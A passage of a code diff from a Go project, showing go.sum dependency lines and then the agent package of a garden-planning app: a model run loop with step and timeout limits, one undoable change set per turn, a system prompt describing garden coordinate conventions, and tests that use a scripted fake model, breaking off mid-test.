golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/sys v0.44.0 h1:ildZl3J4uzeKP07r2F++Op7E9B29JRUy+a27EibtBTQ=
golang.org/x/sys v0.44.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs=
golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q=
golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/genai v1.59.0 h1:xp+ydkJFW8hO0hTUaAkr8TrLM9HFP3NYAwFhPd0nDqA=
google.golang.org/genai v1.59.0/go.mod h1:mDdPDFXo1Ats7f1WXVyZgWb/CkMzFWTWJruIMy7hGIU=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
google.golang.org/grpc v1.66.2 h1:3QdXkuq3Bkh7w+ywLdLvM56cmGvQHUMZpiCzt6Rqaoo=
google.golang.org/grpc v1.66.2/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
@@ -118,6 +226,8 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
modernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ=
modernc.org/cc/v4 v4.21.4/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
modernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y=
+32 -14
View File
@@ -1,18 +1,36 @@
// Package agent adapts pansy's service layer to majordomo tools so an agent can
// drive a garden in natural language ("fill the NE corner with garlic, the NW
// with basil, the south half with beans"). Each tool runs as a fixed actor and
// therefore inherits pansy's ACL checks for free — a viewer's fill_region returns
// ErrForbidden, exactly as the REST API would.
// Package agent is pansy's garden assistant: a majordomo toolbox over the
// service layer, plus the run loop that drives a model with it.
//
// Two deliberate separations keep the core server lean:
// Every tool runs as a fixed actor, so the agent inherits pansy's permission
// checks for free — a viewer's fill_region returns ErrForbidden, exactly as the
// REST API would. That is the whole reason the tools are thin adapters over
// internal/service and never reach past it; the moment one does, the ACL story
// stops being automatic and becomes something to remember.
//
// - cmd/pansy does NOT import this package, so the server binary carries no
// agent/LLM dependencies.
// - the tool wiring (tools.go) sits behind the `majordomo` build tag, so the
// default `go build ./...` / `go test ./...` compiles without the majordomo
// module. Build the agent tools with `-tags majordomo` once majordomo is a
// dependency (`go get gitea.stevedudenhoeffer.com/steve/majordomo`).
// # A turn is one change set
//
// The agent harness itself (model loop, chat surface) lives in the
// majordomo/executus stack, outside this repo; this package is only the toolbox.
// Runs wrap their whole turn in a single change set (source "agent"), so
// "empty the garlic bed and plant cucumbers" — one object edit and a dozen
// planting inserts — undoes as one action rather than thirteen. That is what
// makes acting without a confirmation prompt defensible: the answer to "it did
// the wrong thing" is one click, not an archaeology exercise.
//
// # No build tag
//
// This package used to sit behind a `majordomo` build tag, with cmd/pansy
// deliberately not importing it, so the default build carried no LLM
// dependency. Both separations are gone, on purpose: a tag that keeps the agent
// out of the binary only earns its keep if you would ever ship a build without
// the agent, and the agent is the point. Keeping it would have meant an
// untagged CI that never compiled the code that matters.
//
// majordomo is stdlib-first and pure Go, so CGO_ENABLED=0 and the single static
// binary survive it.
//
// # Unconfigured instances
//
// With no API key the assistant is simply not offered: the chat route isn't
// registered and the capability isn't advertised — the same shape as OIDC
// 404ing when unconfigured. An instance without a key starts and serves the app
// exactly as it did before.
package agent
+232
View File
@@ -0,0 +1,232 @@
package agent
import (
"context"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"log/slog"
"strings"
"time"
"gitea.stevedudenhoeffer.com/steve/majordomo/agent"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/agentmodel"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
)
// Loop bounds. These exist so a stuck run terminates, NOT to control spend —
// pansy is a personal tool and multi-tenant cost control is explicitly not a
// concern here. A model that gets wedged calling describe_garden forever should
// stop on its own, and a hung upstream shouldn't hold a connection open all day.
const (
maxSteps = 24
// A turn that legitimately fills several beds does a lot of round trips, so
// this is generous; it is a backstop, not a budget.
runTimeout = 4 * time.Minute
// Successive all-error steps, and identical repeated calls, that end a run.
maxConsecutiveToolErrors = 4
maxSameCallRepeats = 3
)
// Runner drives a model over pansy's toolbox. One per process; Run is safe to
// call concurrently.
type Runner struct {
svc *service.Service
model llm.Model
}
// NewRunner resolves modelSpec against pansy's registry and returns a Runner, or
// an error if the assistant can't be offered. Callers should treat an error as
// "no assistant" rather than a startup failure — an instance with no key must
// still serve the app.
//
// It takes the key and spec explicitly rather than a *config.Config so the same
// constructor serves both boot (from env) and a runtime settings change (from
// the DB) — the Runner has no idea which one configured it.
func NewRunner(svc *service.Service, apiKey, modelSpec string) (*Runner, error) {
if apiKey == "" {
return nil, errors.New("agent: not configured")
}
// agentmodel.Resolve already rejects an empty/blank spec, so don't duplicate
// that guard here — one place decides what a valid spec is.
model, err := agentmodel.Resolve(apiKey, modelSpec)
if err != nil {
return nil, err
}
return &Runner{svc: svc, model: model}, nil
}
// Turn is the outcome of one exchange.
type Turn struct {
// Reply is what to show the user.
Reply string `json:"reply"`
// ChangeSetID is the change set this turn produced, if it changed anything —
// the handle the UI needs to offer Undo.
ChangeSetID *int64 `json:"changeSetId,omitempty"`
// Steps is how many model round trips it took.
Steps int `json:"steps"`
// Truncated is set when the run hit its step cap rather than finishing.
Truncated bool `json:"truncated,omitempty"`
}
// Run executes one turn against a garden, as actorID.
//
// The whole turn runs inside ONE change set, so everything the model did undoes
// together. That is what makes acting without a confirmation prompt defensible.
// The scope is opened even for a turn that turns out to be a question — a change
// set with no revisions is never written, so asking costs nothing.
func (r *Runner) Run(ctx context.Context, actorID, gardenID int64, message string, history []llm.Message, onStep func(agent.Step)) (*Turn, error) {
message = strings.TrimSpace(message)
if message == "" {
return nil, domain.ErrInvalidInput
}
ctx, cancel := context.WithTimeout(ctx, runTimeout)
defer cancel()
garden, err := r.svc.GetGarden(ctx, actorID, gardenID)
if err != nil {
return nil, err
}
// An id for this run, stamped on the change set so a row in the history list
// can be matched to the log lines that produced it. Without it, "the agent
// did something odd on Tuesday" has no thread back to what it was thinking.
runID := newRunID()
slog.Info("agent: run start", "run", runID, "garden", gardenID, "actor", actorID)
var (
result *agent.Result
runErr error
truncErr bool
)
changeSet, err := r.svc.WithChangeSet(ctx, actorID, gardenID, service.ChangeSetOptions{
Source: domain.SourceAgent,
Summary: turnSummary(message),
AgentRunID: &runID,
}, func(ctx context.Context) error {
box := NewToolbox(r.svc, actorID)
a := agent.New(r.model, systemPrompt(garden),
agent.WithMaxSteps(maxSteps),
agent.WithToolErrorLimits(maxConsecutiveToolErrors, maxSameCallRepeats),
)
a.AddToolbox(box)
opts := []agent.RunOption{agent.WithHistory(history)}
if onStep != nil {
opts = append(opts, agent.OnStep(onStep))
}
result, runErr = a.Run(ctx, message, opts...)
// A run that ran out of steps still DID things, and those things must be
// recorded and undoable. So the loop-guard errors don't fail the scope —
// they're reported to the user instead.
if runErr != nil && isLoopLimit(runErr) {
truncErr = true
return nil
}
return runErr
})
if err != nil {
// WithChangeSet records whatever committed before failing, so the partial
// work is undoable even though the turn errored.
return nil, err
}
turn := &Turn{Truncated: truncErr}
if changeSet != nil {
turn.ChangeSetID = &changeSet.ID
}
if result != nil {
turn.Reply = result.Output
turn.Steps = len(result.Steps)
}
if turn.Reply == "" {
turn.Reply = fallbackReply(turn)
}
return turn, nil
}
// isLoopLimit reports whether an error is one of majordomo's loop guards firing
// rather than a genuine failure. Those runs have a partial result worth keeping.
func isLoopLimit(err error) bool {
return errors.Is(err, agent.ErrMaxSteps) || errors.Is(err, agent.ErrToolLoop)
}
// fallbackReply covers a run that finished with no text — a model that made its
// last tool call and then stopped. Silence reads as a failure, so say what
// happened.
func fallbackReply(t *Turn) string {
switch {
case t.Truncated:
return "I stopped partway through — that turned into more steps than I should take in one go. " +
"Have a look at what changed, and tell me what to do next."
case t.ChangeSetID != nil:
return "Done — have a look at the canvas."
default:
return "I didn't change anything."
}
}
// newRunID returns a short random identifier for one run.
func newRunID() string {
var b [8]byte
if _, err := rand.Read(b[:]); err != nil {
// The id is for correlating logs, not for security. A clock-based
// fallback is worse than random and better than an empty string.
return fmt.Sprintf("t%d", time.Now().UnixNano())
}
return hex.EncodeToString(b[:])
}
// turnSummary is what the history list shows for this turn. The user's own words
// are the most useful label available, trimmed to fit a list row.
//
// Trimmed by RUNES, not bytes: slicing a byte offset would cut a multibyte
// character in half and store invalid UTF-8 in the summary — which is not a
// hypothetical for text people type.
func turnSummary(message string) string {
const max = 120
s := strings.Join(strings.Fields(message), " ")
runes := []rune(s)
if len(runes) > max {
s = strings.TrimSpace(string(runes[:max])) + "…"
}
return s
}
// systemPrompt gives the model the conventions it cannot infer.
//
// The compass convention in particular is not guessable: -y is north because
// screen y grows downward, and a model that assumes otherwise plants the south
// half when asked for the north one.
func systemPrompt(g *domain.Garden) string {
units := "metric — all measurements are centimeters"
if g.UnitPref == domain.UnitImperial {
units = "imperial for display, but every measurement you send or receive is in CENTIMETERS"
}
return fmt.Sprintf(`You are pansy's garden assistant. You help plan and edit a real garden by calling tools.
The garden you are working on is %q (id %d), %.0f x %.0f cm. The user's units are %s.
Conventions you cannot guess and must not assume:
- Positions in a garden are centimeters from its top-left corner: x grows east, y grows SOUTH.
- Inside an object (a bed), positions are relative to that object's CENTER, and -y is NORTH.
So the north half of a bed is negative y. Getting this backwards plants the wrong end.
- Objects and plantings are version-guarded. Use the version from describe_garden when editing.
How to work:
- Start from describe_garden to see what is actually there. Do not guess ids.
- Use find_plant to turn a plant name into an id. If it returns several candidates,
pick the one that matches what the user said, or ask them which they meant.
- To replant a bed with something else: clear_object, then fill_region with region "all".
- When a tool refuses (for example, the user only has view access to this garden),
explain what happened in plain words. Do not retry it.
When you are done, say briefly what you changed — the user is watching the canvas
and wants to know what to look at. If you changed nothing, say that too.`,
g.Name, g.ID, g.WidthCM, g.HeightCM, units)
}
+358
View File
@@ -0,0 +1,358 @@
package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"strings"
"testing"
"time"
"unicode/utf8"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
"gitea.stevedudenhoeffer.com/steve/majordomo/provider/fake"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/service"
)
// scriptedRunner wires a Runner to a fake provider so the whole loop — tools,
// change-set scoping, loop guards — is exercised with no live model.
func scriptedRunner(t *testing.T, svc *service.Service, steps ...fake.Step) *Runner {
t.Helper()
p := fake.New("fake")
for _, s := range steps {
p.Enqueue("m", s)
}
model, err := p.Model("m")
if err != nil {
t.Fatalf("fake model: %v", err)
}
return &Runner{svc: svc, model: model}
}
// toolCall scripts one model turn that calls a tool.
func toolCall(name string, args any) fake.Step {
raw, _ := json.Marshal(args)
return fake.ReplyWith(llm.Response{
FinishReason: llm.FinishToolCalls,
ToolCalls: []llm.ToolCall{{ID: "c1", Name: name, Arguments: raw}},
})
}
// TestTurnIsOneChangeSet is the acceptance criterion the whole "act freely"
// posture rests on: a turn that clears a bed and replants it — one object edit
// and many planting inserts — has to undo as ONE action, not thirteen.
func TestTurnIsOneChangeSet(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
garlic := mustPlant(t, svc, owner, "Garlic", 15, "🧄")
cucumber := mustPlant(t, svc, owner, "Cucumber", 45, "🥒")
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, Name: "Garlic bed", XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
if _, err := svc.FillNamedRegion(ctx, owner, bed.ID, "all", garlic.ID, nil, service.FillClump); err != nil {
t.Fatalf("seed garlic: %v", err)
}
before, _, err := svc.GardenHistory(ctx, owner, g.ID, 0, 0)
if err != nil {
t.Fatalf("history: %v", err)
}
r := scriptedRunner(t, svc,
toolCall("clear_object", map[string]any{"objectId": bed.ID}),
toolCall("fill_region", map[string]any{"objectId": bed.ID, "region": "all", "plantId": cucumber.ID}),
fake.Reply("Cleared the garlic and replanted the bed with cucumbers."),
)
turn, err := r.Run(ctx, owner, g.ID, "change the garlic bed to cucumbers this year", nil, nil)
if err != nil {
t.Fatalf("Run: %v", err)
}
if turn.ChangeSetID == nil {
t.Fatal("a turn that changed things produced no change set")
}
if !strings.Contains(turn.Reply, "cucumbers") {
t.Errorf("reply = %q", turn.Reply)
}
// Exactly ONE new change set, whatever the model did inside the turn.
after, _, err := svc.GardenHistory(ctx, owner, g.ID, 0, 0)
if err != nil {
t.Fatalf("history: %v", err)
}
if len(after)-len(before) != 1 {
t.Fatalf("turn produced %d change sets, want exactly 1", len(after)-len(before))
}
cs := after[0]
if cs.Source != domain.SourceAgent {
t.Errorf("source = %q, want agent", cs.Source)
}
if cs.Summary != "change the garlic bed to cucumbers this year" {
t.Errorf("summary = %q, want the user's own words", cs.Summary)
}
// The bed really is cucumbers now.
full, _ := svc.GardenFull(ctx, owner, g.ID, nil)
if len(full.Plantings) == 0 {
t.Fatal("bed ended up empty")
}
for _, p := range full.Plantings {
if p.PlantID != cucumber.ID {
t.Errorf("unexpected plant %d still in the bed", p.PlantID)
}
}
// And one undo puts it back.
if _, conflicts, err := svc.RevertChangeSet(ctx, owner, *turn.ChangeSetID, domain.SourceUI); err != nil || len(conflicts) != 0 {
t.Fatalf("undo: err=%v conflicts=%+v", err, conflicts)
}
full, _ = svc.GardenFull(ctx, owner, g.ID, nil)
for _, p := range full.Plantings {
if p.PlantID != garlic.ID {
t.Errorf("after undo the bed holds plant %d, want the garlic back", p.PlantID)
}
}
}
// TestViewerGetsAnExplainableRefusal — the ACL story only works if the model can
// narrate the refusal, so a tool denial has to reach it as a tool RESULT it can
// read, not as a 500 that ends the run.
func TestViewerGetsAnExplainableRefusal(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
viewer, err := svc.Register(ctx, service.RegisterInput{Email: "[email protected]", DisplayName: "V", Password: "password123"})
if err != nil {
t.Fatalf("register: %v", err)
}
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
if _, err := svc.AddShare(ctx, owner, g.ID, "[email protected]", domain.RoleViewer); err != nil {
t.Fatalf("share: %v", err)
}
// A viewer can't open a change set at all, so the turn is refused up front —
// before any model call — and the API turns that into a plain explanation.
r := scriptedRunner(t, svc, fake.Reply("unused"))
_, err = r.Run(ctx, viewer.ID, g.ID, "plant garlic in that bed", nil, nil)
if !errors.Is(err, domain.ErrForbidden) {
t.Fatalf("viewer turn err = %v, want ErrForbidden", err)
}
// And at the tool layer, a refusal comes back as a readable tool result
// rather than killing the run.
box := NewToolbox(svc, viewer.ID)
raw, _ := json.Marshal(map[string]any{"objectId": bed.ID})
res := box.Execute(ctx, llm.ToolCall{ID: "1", Name: "clear_object", Arguments: raw})
if !res.IsError {
t.Fatal("a viewer's clear_object succeeded")
}
if res.Content == "" {
t.Error("the refusal carried no text for the model to explain")
}
}
// TestRunStopsAtTheStepCap — a model that gets wedged should stop on its own,
// and what it managed to do must still be recorded and undoable.
func TestRunStopsAtTheStepCap(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
// More describe_garden calls than the cap allows, forever.
steps := make([]fake.Step, 0, maxSteps+4)
for i := 0; i < maxSteps+4; i++ {
steps = append(steps, toolCall("describe_garden", map[string]any{"gardenId": g.ID}))
}
r := scriptedRunner(t, svc, steps...)
turn, err := r.Run(ctx, owner, g.ID, "look at the garden", nil, nil)
if err != nil {
t.Fatalf("a capped run should end cleanly, got %v", err)
}
if !turn.Truncated {
t.Error("turn.Truncated = false; the run hit the cap and should say so")
}
if turn.Reply == "" {
t.Error("a capped run said nothing; silence reads as a hang")
}
// It only read, so there is nothing to undo — and no empty change set either.
if turn.ChangeSetID != nil {
t.Errorf("a read-only turn produced change set %d", *turn.ChangeSetID)
}
}
// TestReadOnlyTurnWritesNoChangeSet — asking a question must not litter the
// history with empty entries.
func TestReadOnlyTurnWritesNoChangeSet(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
before, _, _ := svc.GardenHistory(ctx, owner, g.ID, 0, 0)
r := scriptedRunner(t, svc,
toolCall("describe_garden", map[string]any{"gardenId": g.ID}),
fake.Reply("It's empty — nothing planted yet."),
)
turn, err := r.Run(ctx, owner, g.ID, "what's in the garden?", nil, nil)
if err != nil {
t.Fatalf("Run: %v", err)
}
if turn.ChangeSetID != nil {
t.Errorf("a question produced change set %d", *turn.ChangeSetID)
}
after, _, _ := svc.GardenHistory(ctx, owner, g.ID, 0, 0)
if len(after) != len(before) {
t.Errorf("history grew by %d for a read-only turn", len(after)-len(before))
}
}
// TestNewRunnerNeedsConfiguration — an instance with no key or no model must not
// get a half-built runner; the caller treats the error as "no assistant" and
// carries on. (Whether the assistant is ENABLED is resolved before NewRunner is
// reached, so it isn't NewRunner's concern any more.)
func TestNewRunnerNeedsConfiguration(t *testing.T) {
svc, _ := newAgentTestService(t)
for _, tc := range []struct{ key, model string }{
{"", "ollama-cloud/x"},
{"k", ""},
{"k", " "},
} {
if _, err := NewRunner(svc, tc.key, tc.model); err == nil {
t.Errorf("NewRunner accepted key=%q model=%q", tc.key, tc.model)
}
}
// A model spec naming a provider that doesn't exist is a configuration
// error, not a panic at first use.
if _, err := NewRunner(svc, "k", "nonesuch/model"); err == nil {
t.Error("NewRunner accepted an unresolvable model spec")
}
}
// TestTurnSummaryFitsAHistoryRow — the user's own words are the most useful
// label for a change set, but a paragraph would wreck the list.
func TestTurnSummaryFitsAHistoryRow(t *testing.T) {
if got := turnSummary(" change the garlic bed\n to cucumbers "); got != "change the garlic bed to cucumbers" {
t.Errorf("turnSummary = %q", got)
}
long := turnSummary(strings.Repeat("plant garlic ", 40))
if len(long) > 130 || !strings.HasSuffix(long, "…") {
t.Errorf("long summary = %q (%d chars)", long, len(long))
}
}
// TestSystemPromptStatesTheCompassConvention — -y being north is not guessable,
// and a model that assumes otherwise plants the wrong end of the bed.
func TestSystemPromptStatesTheCompassConvention(t *testing.T) {
p := systemPrompt(&domain.Garden{ID: 1, Name: "Plot", WidthCM: 500, HeightCM: 400, UnitPref: domain.UnitImperial})
for _, want := range []string{"NORTH", "-y", "centimeters", "Plot", "version"} {
if !strings.Contains(p, want) {
t.Errorf("system prompt is missing %q:\n%s", want, p)
}
}
if !strings.Contains(p, fmt.Sprintf("%.0f", 500.0)) {
t.Error("system prompt doesn't state the garden's size")
}
}
// TestPartialWorkSurvivesATimeout is the finding that mattered most on this PR.
//
// The run context carries a timeout. When it fires, WithChangeSet's recovery
// path has to record what already committed — and doing that with the SAME
// dead context would fail, losing the history for changes that really happened.
// The user-facing message says "anything I'd already changed is in History", so
// this isn't just a gap, it's a promise the code has to keep.
func TestPartialWorkSurvivesATimeout(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, Name: "Bed", XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
before, _, _ := svc.GardenHistory(ctx, owner, g.ID, 0, 0)
// A turn that renames the bed, then dies with the context already cancelled.
cancelled, cancel := context.WithCancel(ctx)
r := scriptedRunner(t, svc,
toolCall("move_object", map[string]any{
"objectId": bed.ID, "xCm": 600.0, "yCm": 600.0, "version": bed.Version,
}),
fake.Step{Err: context.DeadlineExceeded},
)
// Cancel once the first tool call has landed, so the failure path runs with a
// dead context — exactly the timeout case.
go func() {
time.Sleep(50 * time.Millisecond)
cancel()
}()
_, err = r.Run(cancelled, owner, g.ID, "move the bed", nil, nil)
if err == nil {
